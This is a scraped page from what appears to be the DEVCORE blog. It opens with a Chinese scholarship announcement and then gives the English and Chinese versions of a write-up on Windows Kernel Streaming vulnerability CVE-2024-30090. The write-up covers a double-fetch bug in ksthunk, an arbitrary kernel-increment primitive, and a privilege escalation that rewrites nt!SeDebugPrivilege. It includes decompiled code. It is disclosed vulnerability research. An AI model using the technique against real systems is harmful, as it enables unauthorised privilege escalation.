  • 申請資格:全國各大專院校學生皆可以申請。
  • 獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍,我們將視申請狀況增加名額。
  • 申請時程:
    • 2024/9/6 官網公告獎學金計畫資訊
    • 2024/9/6 - 2024/10/3 開放收件
    • 2024/10/31 公布審查結果,並將於 11 至 12 月間頒發獎學金
  • 申請辦法:
    • 請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ scholarship@devco.re
    • 信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。
    • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。
  • 須檢附文件:
    • 本獎學⾦申請表
    • 在學證明
    • 最近⼀學期成績單
    • 學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字
    • 資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿、漏洞獎勵計畫、弱點研究、資訊安全比賽、資安工具研究、技術文章發表等成果
    • 社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等
    • 推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函

DEVCORE 資安教育活動贊助計劃

今年我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,凝聚台灣資安社群,加速培育台灣的資安新銳。

  • 申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。
  • 贊助金額:依各社團活動需求及與 DEVCORE 團隊討論而定,每次最高補助金額為新台幣 20,000 元整。
  • 申請時程:如欲申請此計畫的社團或活動,請於 2024/10/31 前透過以下連結填寫初步資料,我們將於 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。
  • 申請連結:DEVCORE 2024 年資安教育活動贊助調查
  • 須提供資料:
    • 申請資格:申請人需以各資安社群或社團名義提出申請。
    • 聯絡電子郵件
    • 想要辦理的活動類型
    • 想要辦理的活動方式
    • 活動總預算
    • 預計需要贊助金額
    • 代表人姓名、連絡電話
    • 團體名稱
    • 團體單位網址
  • 注意事項:
    • 申請案審核將經過 DEVCORE 內部審核機制,並保有最終核決權。
    • 本問卷僅供初步意願蒐集用途,符合申請資格者,DEVCORE 將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。
    • DEVCORE 保有修改、暫停或終止本贊助計畫之權利。

Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part II

$
0
0

English Version, 中文版本

This is a series of research related to Kernel Streaming attack surface. It is recommended to read the following articles first.

In the previous research on Proxying to Kernel, we discovered multiple vulnerabilities in Kernel Stearming as well as an overlooked bug Class. We successfully exploited vulnerabilities CVE-2024-35250 and CVE-2024-30084 to compromise Windows 11 at Pwn2Own Vancouver 2024.

In this article, we will continue to explore this attack surface and bug Class, revealing another vulnerability and exploitation technique, which was also presented at HEXACON 2024.

After Pwn2Own Vancouver 2024, we continued to investigate the ks!KsSynchronousIoControlDevice bug pattern to see if there were any other security issues. However, after some time, we did not find any other exploitable points in the property operations of KS object. Therefore, we shifted our focus to another feature, KS Event.

KS Event

Similar to the KS Property mentioned in the previous article, the KS object not only has its own property set but also provides the functionality to set KS Event. For instance, you can set an event to trigger when the device status changes or at regular intervals, which is convenient for developers of playback software to define subsequent behaviors. Each KS Event, like a property, requires the KS object to support it to be used. We can register or disable these Events through IOCTL_KS_ENABLE_EVENT and IOCTL_KS_DISABLE_EVENT.

KSEVENTDATA

When registering a KS Event, you can register the desired event by providing KSEVENTDATA. You can include handles such as EVENT_HANDLE and SEMAPHORE_HANDLE in the registration. When KS triggers this event, it will notify you using the provided handle.

The work flow of IOCTL_KS_ENABLE_EVENT

The entire work flow is similar to IOCTL_KS_PROPERTY. When calling DeviceIoControl, as shown in the figure below, the user’s requests are sequentially passed to the corresponding driver for processing.

Similarly, in step 3, 32-bit requests will be converted into 64-bit requests. By step 6, ks.sys will determine which driver and addhandler to handle your request based on the event of your requests.

Finally, forward it to the corresponding driver. As shown in the figure above, it is finally forwarded to KsiDefaultClockAddMarkEvent in ks to set the timer.

After grasping the KS Event functionality and process, we swiftly identified another exploitable vulnerability, CVE-2024-30090, based on the previous bug pattern.

Proxying to kernel again !

This time, the issue occurs when ksthunk converts a 32-bit request into a 64-bit one.

As shown in the figure below, when ksthunk receives an IOCTL_KS_ENABLE_EVENT request and the request is from a WoW64 Process, it will perform the conversion from a 32-bit structure to a 64-bit structure.

The conversion would call ksthunk!CKSAutomationThunk::ThunkEnableEventIrp to handle it.

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4)
{
  ...
  if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED )  
  {
    // Convert 32-bit requests and pass down directly
  }
  else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) 
  {
    ...
    newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK');
    ...
    memcpy(newinputbuf,Type3InputBuffer,0x28);  //------------------------[1]
    ...
    v18 = KsSynchronousIoControlDevice( 
            v25->FileObject,
            0,
            IOCTL_KS_ENABLE_EVENT,
            newinputbuf,
            inputbuflen + 8,
            OutBuffer,
            outbuflen,
            &BytesReturned);  //-----------------[2]
    ...
  }
  ...
}

In CKSAutomationThunk::ThunkEnableEventIrp, a similar bug pattern is clearly visible. You can see that during the processing, the original request is first copied into a newly allocated buffer at [1]. Subsequently, this buffer is used to call the new IOCTL using KsSynchronousIoControlDevice at [2]. Both newinputbuf and OutBuffer are controlled by the user.

The flow when calling CKSAutomationThunk::ThunkEnableEventIrp is illustrated as follows:

When calling IOCTL in a WoW64 process, you can see in step 2 of the diagram that the I/O Manager sets Irp->RequestorMode to UserMode(1). In step 3, ksthunk converts the user’s request from 32-bit to 64-bit, handled by CKSAutomationThunk::ThunkEnableEventIrp.

Afterward, in step 5, KsSynchronousIoControlDevice will be called to issue the IOCTL, and at this point, the new Irp->RequestorMode has become KernelMode(0). The subsequent processing is the same as a typical IOCTL_KS_ENABLE_EVENT, so it won’t be detailed further. In summary, we now have a primitive that allows us to perform arbitrary IOCTL_KS_ENABLE_EVENT with KernelMode. Next, we need to look for places where we can achieve EoP.

The Exploitation

Following the previous approach, we first analyzed the entry point ksthunk. However, after searching for a while, we found no potential privilege escalation points. In ksthunk, most instances where Irp->RequestMode is KernelMode(0) are directly passed down without additional processing. Therefore, we shifted our eyes to the next layer, ks, to see if there are any opportunities for privilege escalation during the event handling process.

Quickly, we found a place that caught our attention.

In the KspEnableEvent handler, a code snippet first checks the NotificationType in the KSEVENTDATA you passed in to determine how to register and handle your event. In general, it usually provides an EVENT_HANDLE or a SEMAPHORE_HANDLE. However, in ks, if called from KernelMode, we can provide an Event Object or even a DPC Object to register your event, making the overall handling more efficient.

This means we can use this DeviceIoControl with KernelMode primitive to provide a kernel object for subsequent processing. If constructed well, it might achieve EoP, but it depends on how this Object is used later.

However, after trying for a while, we discovered that …

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4)
{
  ...
  if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED )  //-------[3]
  {
    // Convert 32-bit requests and pass down directly
  }
  else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) //-------[4]
  {
    ...
    newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK');
    ...
    memcpy(newinputbuf,Type3InputBuffer,0x28); //------[5] 
    ...
    v18 = KsSynchronousIoControlDevice( 
            v25->FileObject,
            0,
            IOCTL_KS_ENABLE_EVENT,
            newinputbuf,
            inputbuflen + 8,
            OutBuffer,
            outbuflen,
            &BytesReturned);  
    ...
  }
  ...
}

If you want to provide a kernel object to register an event, then the flag given in the IOCTL for KSEVENT must be KSEVENT_TYPE_ENABLE at [3]. However, at [4], where the vulnerability is triggered, it must be KSEVENT_TYPE_QUERYBUFFER, and it is impossible to directly provide a kernel object as we might have expected.

Fortunately, IOCTL_KS_ENABLE_EVENT also uses Neither I/O to transmit data. It also presents a Double Fetch issue again.

As shown in the figure above, we can set the flag to KSEVENT_TYPE_QUERYBUFFER before calling IOCTL. When checking, it will handle it with KSEVENT_TYPE_QUERYBUFFER. Before the second KsSynchronousIoControlDevice call, we can change the flag to KSEVENT_TYPE_ENABLE.

This way, we can successfully trigger the vulnerability and construct a specific kernel object to register the event.

Trigger the event

When would it use the kernel object that you constructed? When an event is triggered, ks will call ks!ksGenerateEvent through DPC. At this point, it will determine how to handle your event based on the NotificationType you specified.

Let’s take a look at KsGenerateEvent

NTSTATUS __stdcall KsGenerateEvent(PKSEVENT_ENTRY EventEntry)
{

  switch ( EventEntry->NotificationType )
  {
    case KSEVENTF_DPC:
      ...
      if ( !KeInsertQueueDpc(EventEntry->EventData->Dpc.Dpc, EventEntry->EventData, 0LL) )
        _InterlockedAdd(&EventEntry->EventData->EventObject.Increment, 0xFFFFFFFF); //--------[6]
      ...
    case KSEVENTF_KSWORKITEM:
      ...
      KsIncrementCountedWorker(eventdata->KsWorkItem.KsWorkerObject); //-----------[7]

  }
}

At this point, there are multiple ways to exploit this. The most straightforward method is to directly construct a DPC structure and queue a DPC to achieve arbitrary kernel code execution, which corresponds to the code snippet at [6]. However, the IRQL when calling KsGenerateEvent is DISPATCH_LEVEL, making it very difficult to construct a DPC object in User space, and the exploitation process will encounter many issues.

Therefore, we opt for an alternative route using KSEVENTF_KSWORKITEM at [7]. This method involves passing in a kernel address and manipulating it to be recognized as a pointer to KSWORKITEM.

It can achieve an arbitrary kernel address increment by one. The entire process is illustrated in the diagram below.

When calling IOCTL_KS_ENABLE_EVENT, after constructing KSEVENTDATA to point to a kernel memory address, ks will handle it as a kernel object and register the specified event.

When triggered, ks will increment the content at our provided memory address. Therefore, we have a kernel arbitrary increment primitive here.

Arbitrary increment primitive to EoP

From arbitrary increment primitive to EoP, there are many methods that can be exploited, among which the most well-known are abuse token privilege and IoRing. Initially, it seemed like this would be the end of it.

However, both of these methods have certain limitations in this situation:

Abuse token Privilege

If we use the method of abusing token privilege for EoP, the key lies of the technique in overwriting Privileges.Enable and Privileges.Present. Since our vulnerability can only be incremented by one at a time, both fields need to be written to obtain SeDebugPrivilege. The default values for these two fields are 0x602880000 and 0x800000, which need to be changed to 0x602980000 and 0x900000. This means each field needs to be written 0x10 times, totaling 0x20 writes. Each write requires a race condition, which takes times and significantly reduces stability.

IoRing

Using IoRing to achieve arbitrary writing might be a simpler method. To achieve arbitrary write, you just need to overwrite IoRing->RegBuffersCount and IoRing->RegBuffers. However, a problem arises.

When triggering the arbitrary increment, if the original value is 0, it will call KsQueueWorkItem, where some corresponding complex processing will occur, leading to BSoD. The exploitation method of IoRing happens to encounter this situation…

Is it really impossible to exploit it stably?

Let’s find a new way !

When traditional exploitation methods hit a roadblock, it might be worthwhile to dive deeper into the core mechanics of the technique. You may unexpectedly discover new approaches along the way.

After several days of contemplation, we decided to seek a new approach. However, starting from scratch might take considerable time and may not yield results. Therefore, we chose to derive new inspiration from two existing methods. First, let’s look at abusing token privilege. The key aspect here is exploiting a vulnerability to obtain SeDebugPrivilege, allowing us to open high-privilege processes such as winlogon.

The question arises: why does having SeDebugPrivilege allow you to open high-privilege processes?

We need to take a look at nt!PsOpenProcess first.

From this code snippet, we can see that when we open the process, the kernel will use SeSinglePrivilegeCheck to check if you have SeDebugPrivilege. If you have it, you will be granted PROCESS_ALL_ACCESS permission, allowing you to perform any action on any process except PPL. As the name implies, it is intended for debugging purposes. However, it is worth noting that nt!SeDebugPrivilege is a global variable in ntoskrnl.exe.

It’s a LUID structure that was initialized at system startup. The actual value is 0x14, indicating which bit in the Privileges.Enable and Privileges.Present fields represent SeDebugPrivilege. Therefore, when we use NtOpenProcess, the system reads the value in this global variable

Once the value of nt!SeDebugPrivilege is obtained, it will be used to inspect the Privileges field in the Token to see if the Enable and Present fields are set. For SeDebugPrivilege, it will check the 0x14 bit.

However, there is an interesting thing…

The global variable nt!SeDebugPrivilege is located in a writable section!

A new idea was born.

Make abusing token privilege great again !

By default, a normal user will have only a limited number of Privileges, as shown in this diagram.

We can notice that in most cases, SeChangeNotifyPrivilege is enabled. At this point, we can look at the initialization part and find that SeChangeNotifyPrivilege represents the value 0x17.

What would happen if we use the vulnerability to change nt!SeDebugPrivilege from 0x14 to 0x17?

As shown in the figure, in the NtOpenProcess flow, it will first get the value of nt!SeDebugPrivilege, and at this time the obtained value is 0x17 (SeChangeNotifyPrivilege)

The next check will verify the current process token using 0x17 to see if it has this Privilege. However, normal users generally have SeChangeNotifyPrivilege, so even if you don’t have SeDebugPrivilege, you will still pass the check and obtain PROCESS_ALL_ACCESS. In other words, anyone with SeChangeNotifyPrivilege can open a high-privilege process except PPL.

Furthermore, by using the vulnerability mentioned above, we can change nt!SeDebugPrivilege from 0x14 to 0x17. Since the original value is not 0, it will not be affected by KsQueueWorkItem, making it highly suitable for our purposes.

Once we can open a high-privilege process, the privilege escalation method is the same as the abuse token privilege approach so that we won’t elaborate on that here. Ultimately, we successfully achieved EoP on Windows 11 23H2 by again utilizing Proxying to kernel.

Remark

Actually, this technique also applies to other Privilege.

  • SeTcbPrivilege = 0x7
  • SeTakeOwnershipPrivilege = 0x9
  • SeLoadDriverPrivilege = 0xa

The Next & Summary

The focus of these two articles is primarily on how we analyze past vulnerabilities to discover new ones, how we gain new ideas from previous research, find new exploitation methods, new vulnerabilities, and new attack surfaces.

There may still be many security issues of this bug class, and they might not be limited to Kernel Streaming and IoBuildDeviceIoControlRequest. I believe this is a design flaw in Windows, and if we search carefully, we might find more vulnerabilities.

For this type of vulnerability, you need to pay attention to the timing of setting Irp->RequestorMode. If it is set to KernelMode and then user input is used, issues may arise. Moreover, this type of vulnerability is often very exploitable.

In Kernel Streaming, I believe there are quite a few potential security vulnerabilities. There are also many components like Hdaudio.sys or Usbvideo.sys that might be worth examining and are suitable places for fuzzing. If you are a kernel driver developer, it is best not to only check Irp->RequestorMode . There might still be issues within the Windows architecture. Finally, I strongly recommend everyone to update Windows to the latest version as soon as possible.

Is that the end of it ?

Apart from proxy-based vulnerabilities, we have also identified many other bug classes, allowing us to discover over 20 vulnerabilities in Kernel Streaming. Some of these vulnerabilities are quite unique, so stay tuned for Part III.

Reference

Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part II

$
0
0

English Version, 中文版本

這是一系列有關 Kernel Streaming 的相關的漏洞研究,建議先閱讀以下文章

在先前 Proxying to Kernel 的研究中,我們在 Kernel Stearming 中找到了多個漏洞以及一個被忽視的 Bug Class,並在今年 Pwn2Own Vancouver 2024 中利用漏洞 CVE-2024-35250CVE-2024-30084成功攻下 Windows 11。

而在這篇研究中,我們將繼續延續這個攻擊面和這個 Bug Class,也將揭露另外一個漏洞和利用手法,亦發表於 HEXACON 2024中。


在 Pwn2Own Vancouver 2024 之後,我們繼續針對 ks!KsSynchronousIoControlDevice這個 bug pattern 去看看有沒有其他安全性上的問題,然而找了一段時間後,針對 KS Object 的 Property 操作中,並沒有找到其他可以利用的點,因而我們將方向轉往另外一個功能 KS Event上。

KS Event

KS Event 與前一篇提到的 KS Property 類似。KS Object 中除了有自己的 Property Set 之外,也有提供設定 KS Event 的功能,比如說你可以設定設備狀態改變或是每個一段時間就觸發 Event,方便播放軟體等開發者定義後續的行為,而每個 KS Event 就如同 Property 一樣,要使用就必須該 KS Object 有支援。我們可以透過 IOCTL_KS_ENABLE_EVENTIOCTL_KS_DISABLE_EVENT來註冊或關閉這些 Event。

KSEVENTDATA

而在註冊 KS Event 時,你可以藉由提供 KSEVENTDATA來註冊你想要的事件,其中可以提供 EVENT_HANDLE 及 SEMAPHORE_HANDLE 等 handle 來註冊,當 KS 觸發這個事件時,就會藉由這個 handle 來通知你。

The work flow of IOCTL_KS_ENABLE_EVENT

其整個運作流程也與 IOCTL_KS_PROPERTY 雷同,在呼叫 DeviceIoControl 時,就會像下圖一樣,將使用者的 requests 依序給相對應的 driver 來處理

同樣會在第 3 步時做 32-bit 的 requests 轉換成 64-bit 的 requests。到第 6 步時 ks.sys 就會根據你 requests 的 Event 來決定要交給哪個 driver 及 addhandler來處理你的 request。

最終再轉發給相對應的 Driver。如上圖中最後轉發給 ks 中的 KsiDefaultClockAddMarkEvent 來設置 Timer

在了解了 KS Event 功能及流程後,根據之前的 bug pattern很快地又找到了一個可以利用的漏洞 CVE-2024-30090

Proxying to kernel again !

這次的問題點發生在 ksthunk 將 32-bit request 轉換成 64-bit request 的過程。

如下圖,當 ksthunk 接收到來自 WoW64 Process 的 IOCTL_KS_ENABLE_EVENT 時,會進行 32-bit 結構到 64-bit 結構的轉換

轉換過程會呼叫 ksthunk!CKSAutomationThunk::ThunkEnableEventIrp來處理

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4)
{
  ...
  if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED )  
  {
    // Convert 32-bit requests and pass down directly
  }
  else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) 
  {
    ...
    newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK');
    ...
    memcpy(newinputbuf,Type3InputBuffer,0x28);  //------------------------[1]
    ...
    v18 = KsSynchronousIoControlDevice( 
            v25->FileObject,
            0,
            IOCTL_KS_ENABLE_EVENT,
            newinputbuf,
            inputbuflen + 8,
            OutBuffer,
            outbuflen,
            &BytesReturned);  //-----------------[2]
    ...
  }
  ...
}

而在 CKSAutomationThunk::ThunkEnableEventIrp中,明顯可以看到類似的 bug pattern,從 [1] 中可以看到,它會複製使用者的輸入到新分配出來的 Buffer 中,接著在 [2] 處,就會利用該 Buffer 來使用 KsSynchronousIoControlDevice 呼叫新的 IOCTL,。其中 newinputbuf 及 OutBuffer 都是使用者所傳入的內容。

呼叫 CKSAutomationThunk::ThunkEnableEventIrp時的流程,大概如下圖所示 :

在 WoW64 的程式中呼叫 IOCTL 時,可以看到圖中第 2 步 I/O Manager 會將 Irp->RequestorMode設成 UserMode(1),而在第 3 步時,ksthunk 會將使用者的 request 從 32-bit 轉換成 64-bit,這邊就會用 CKSAutomationThunk::ThunkEnableEventIrp來處理。

之後第 5 步,就會透過 KsSynchronousIoControlDevice重新呼叫 IOCTL ,而此時新的 Irp->RequestorMode就變成了 KernelMode(0) 了,而後續的處理就如一般的 IOCTL_KS_ENABLE_EVENT 相同,就不另外詳述了,總之我們到這裡已經有個可以任意做 IOCTL_KS_ENABLE_EVENT 的 primitive 了,接下來我們必須尋找看看是否有可以 EoP 的地方。

The Exploitation

跟先前思路一樣,一開始還是會先分析入口點 ksthunk,然而我們找尋了一陣子之後,並沒有看到可以做為提權的地方,而且在 ksthunk 中,大多數只要看到 Irp->RequestMode是 KernelMode(0) 就會直接往下傳遞而不另外做處理。因此我們將我們的目標轉向位在下一層的 ks,看看它在處理 event 的過程中,是否有可以用來提權的地方。

很快的就找到一個吸引我們目光的地方:

在 KspEnableEvent 的 Handler 中,有一處會先判斷你所傳入的 KSEVENTDATA 中的 NotificationType 來決定要怎麼註冊及處理你的事件,在一般情況下通常是給一個 EVENT_HANDLE或是 SEMAPHORE_HANDLE,然而在 ks 中,如果是從 KernelMode 呼叫的就給以提供 Event Object甚至 DPC來註冊你的事件,讓整體的處理上更有效率。

也就是說我們可以藉由這個 KernelMode 的 DeviceIoControl 的 primitive 來提供任意 Kernel Object,讓它做後續處理,構造的好就有機會達成 EoP 但要看後續怎麼使用這個 Object 就是了。

但是我們在嘗試了一段時間後發現到……

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4)
{
  ...
  if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT
    || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED )  //-------[3]
  {
    // Convert 32-bit requests and pass down directly
  }
  else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) //-------[4]
  {
    ...
    newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK');
    ...
    memcpy(newinputbuf,Type3InputBuffer,0x28); //------[5] 
    ...
    v18 = KsSynchronousIoControlDevice( 
            v25->FileObject,
            0,
            IOCTL_KS_ENABLE_EVENT,
            newinputbuf,
            inputbuflen + 8,
            OutBuffer,
            outbuflen,
            &BytesReturned);  
    ...
  }
  ...
}

如果要提供任意 Kernel Object 去註冊事件,那麼 IOCTL 中所給定的 KSEVENT的 flag,必須要是 KSEVENT_TYPE_ENABLE,也就是上面程式碼 [3] 的部分,然而在程式碼片段 [4] 處是觸發漏洞的地方卻是要是 KSEVENT_TYPE_QUERYBUFFER,並沒辦法如我們所想的一樣直接給一個 Kernel Object。

然而幸運的是整個 IOCTL_KS_ENABLE_EVENT 也是使用 Neither I/O直接拿使用者的 Input buffer 來做資料上的處理,再次出現了 Double Fetch 的問題。

如上圖中所示,我們可以在呼叫 IOCTL 前把 flag 設置成 KSEVENT_TYPE_QUERYBUFFER,檢查時就會以 KSEVENT_TYPE_QUERYBUFFER的功能處理,而在第二次呼叫 IOCTL 前,就把 flag 換成 KSEVENT_TYPE_ENABLE,這樣就可以成功觸發漏洞並構造特定的 Kernel Object 來註冊事件了。

Trigger the event

至於甚麼時候會用到你所構造的 KS Object 呢? 當事件觸發時, ks 會透過 DPC 呼叫 ks!ksGenerateEvent,此時就會依照你所給定的 NotificationType 來決定要怎麼處理你的事件。

我們就來看一下 KsGenerateEvent

NTSTATUS __stdcall KsGenerateEvent(PKSEVENT_ENTRY EventEntry)
{

  switch ( EventEntry->NotificationType )
  {
    case KSEVENTF_DPC:
      ...
      if ( !KeInsertQueueDpc(EventEntry->EventData->Dpc.Dpc, EventEntry->EventData, 0LL) )
        _InterlockedAdd(&EventEntry->EventData->EventObject.Increment, 0xFFFFFFFF); //--------[6]
      ...
    case KSEVENTF_KSWORKITEM:
      ...
      KsIncrementCountedWorker(eventdata->KsWorkItem.KsWorkerObject); //-----------[7]

  }
}

其實到這邊就有多種利用方式可以利用,最直接的莫過於直接構造 DPC 結構註冊 DPC 來達成任意 Kernel 程式碼執行,也就是上面程式碼片段 [6] 的地方,但在呼叫 KsGenerateEvent 時的 IRQL 是 DISPATCH_LEVEL很難在 User space 下構造 DPC object 利用過程也會遇到許多問題

所以我們改用另外一條 KSEVENTF_KSWORKITEM,也就是程式碼片段 [7] 的部分,藉由傳入 Kernel 位置,讓他誤認為是 KSWORKITEM 的指標。

其中就會對該指標指向位置加上 0x5c 的地方加一,也就是可以達到任意 Kerenl Address 加一的寫入,其整個過程就如下圖:

在呼叫 IOCTL_KS_ENABLE_EVENT 時,構造 KSEVENTDATA 指向 Kernel 記憶體位置後,ks 處理時就會將它作為 Kernel Object 來操作,並註冊指定的事件

而到觸發時,ks 就會將我們給的記憶體位置內容 +1,因此我們這邊就有了一個 kernel 任意 +1 的 primitive 了。

Arbitrary increment primitive to EoP

從任意記憶體位置 +1 到提權有許多方法可以利用,其中最知名的莫過於 Abuse token privilege以及 IoRing,原本以為到這邊就差不多結束了…

然而上述兩種方法在這個情境中都有一定的侷限:

Abuse token Privilege

如果是以 Abuse token privilege 方法來做提權,其關鍵在於覆寫 Privileges.Enable 及 Privileges.Present,而我們漏洞一次只能 +1 ,如果要拿到 SeDebugPrivilege 就必須兩個欄位都要寫到,這兩格欄位的預設數值為 0x6028800000x800000必須要變成,0x602980000 及 0x900000,也就是說分別都要各寫 0x10 次,總共要 0x20 次的寫入,每次的寫入都要 race,需要花上不少時間,穩定度也大幅下降。

IoRing

透過 IoRing 來達到任意寫入,也許會是個更簡單的方法,只需覆寫 IoRing->RegBuffersCount and IoRing->RegBuffers就可達到任意寫入,然而有個問題就發生了…

在觸發任意記憶體位置 +1 這個 primitive 時,如果原先的數值是 0 時,就會進到 KsQueueWorkItem 中,其中會有一些相對應複雜的處理,就會導致 BSoD, IoRing 的利用方式剛好就會遇到這狀況…

是不是真的沒辦法穩定利用了呢?

Let’s find a new way !

當傳統的利用方法遇到瓶頸時,深入探討技術的核心機制可能會是值得的。你或許會在此過程中意外發現新的方法。

經過幾天沉思之後,我們決定找尋新方法,但從頭找新的方法可能會花不少時間也可能找不到,於是我們決定從舊有的兩個方法中找尋新的靈感,首先來看的是 Abuse token privilege,其中最關鍵的就是利用漏洞拿到 SeDebugPrivilege 使得我們可以 Open 像是 winlogon 等高權限的 Process。

問題就來了,為什麼只要有 SeDebugPrivilege 就可以開啟高權限的 Process 呢?

這邊就要來看一下 PsOpenProcess,以下是 PsOpenProcess 的程式碼片段:

由此可見,當我們在 Open Process 時, kernel 會優先使用 SeSinglePrivilegeCheck 檢查你是否有 SeDebugPrivilege,如果你具有 SeDebugPrivilege 那就會給你 PROCESS_ALL_ACCESS的權限,不會有其他 ACL 的檢查,讓你可以對任意 Process 去做任何事情,顧名思義就是讓你 Debug 用的,然而有一點值得注意的地方是 SeDebugPrivilege 是在 ntoskrnl.exe上的全域變數。

它會是個 LUID結構,會在系統啟動時初始化,實際數值為 0x14 ,表示在 Privileges.Enable 及 Privileges.Present 欄位中哪個 bit 是代表 SeDebugPrivilege。所以當我們在用 NtOpenProcess 時,系統去查看這個全域變數中的數值。

獲得要檢查的數值後,就會依照這個數值去檢查 Token 中的 Privileges 欄位是否有 Enable 及 Present 這個欄位,以 SeDebugPrivilege 來說就會檢查第 0x14 bit

然而有一件有趣的事情是…

nt!SeDebugPrivilege這個全域變數是位於可寫的區段中!

因此一個新的想法就誕生了。

Make abusing token privilege great again !

預設情況下,一般權限的使用者會像這張圖一樣,僅有少數的 Privileges

不過我們可以注意到的是,大部分情況下都會有 SeChangeNotifyPrivilege 且是 Enable 的。這時我們就可以來看看初始化的地方,就可發現 SeChangeNotifyPrivilege 所代表是數值為 0x17。

那如果我們利用漏洞把 SeDebugPrivilege 從 0x14 換成 0x17 會發生甚麼事情呢?

如上圖,在原先 OpenProcess 的流程中,依舊會先去看 nt!SeDebugPrivilege中的數值,而這時獲得的數值為 0x17(SeChangeNotifyPrivilege)

接下來的檢查就會以 0x17 對當前 Process token 做驗證,看看有沒有這個 Privilege,然而一般使用者都會有這個 Privilege,因此即使你沒有 SeDebugPrivilege 也會直接通過檢查,拿到 PROCESS_ALL_ACCESS也就是說任何擁有 SeChangeNotifyPrivilege 都可以 open 除了 PPL 之外的高權限的 Process

此外利用我們上述的漏洞來將 nt!SeDebugPrivilege從 0x14 改成 0x17,因為原本的數值不是 0 是不會受到 KsQueueWorkItem 影響的,因此非常適合我們。

在可以 open 高權限的 Process 後,提權方式就與一般的 Abuse token privilege 方法相同就不再這邊多提了,最終我們又在一次利用 Proxying to kernel 成功在 Windows 11 23H2 上達成 EoP。

Remark

實際上來說,這個方法也適用於其他高權限的 Privilege 中

  • SeTcbPrivilege = 0x7
  • SeTakeOwnershipPrivilege = 0x9
  • SeLoadDriverPrivilege = 0xa

The Next & Summary

這兩篇文章中,主要著重於我們怎麼從過往的漏洞分析到發現新漏洞的過程,如何從過去的研究之中獲得新的想法、新的利用方式,新的漏洞以及新的攻擊面。關於這種 Proxy 類型的 Bug class 可能還存在很多,也可能不只侷限於 Kernel Streaming 和 IoBuildDeviceIoControlRequest,我認為算是 Windows 設計上的一個小缺陷,如果認真找可能還會找到一些漏洞,這類型的漏洞你需要關注的地方就是 Irp->RequestorMode設置的時間點,如果設置 KernelMode 之後還有拿使用者的輸入做事情,就有機會出問題,而且這類型的漏洞往往都很好用。

